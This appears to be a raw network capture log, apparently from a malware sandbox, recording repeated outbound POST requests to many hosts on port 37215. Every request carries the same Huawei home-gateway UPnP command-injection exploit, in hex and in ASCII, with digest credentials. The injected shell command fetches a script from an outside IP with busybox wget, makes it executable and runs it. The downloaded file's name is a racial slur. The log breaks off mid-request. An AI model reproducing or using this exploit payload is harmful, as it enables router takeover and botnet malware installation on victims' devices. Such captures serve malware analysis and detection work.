Feb 19, 2024 18:36:45.730557919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:11.329911947 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:00.480523109 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.15	47188	94.123.31.62	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.331824064 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.15	51308	94.120.241.149	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.331928015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.15	48858	94.121.117.124	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.332036972 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.15	51680	94.121.61.67	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.332128048 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.15	37518	94.121.188.41	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.332223892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.15	57150	94.123.68.80	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.332330942 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 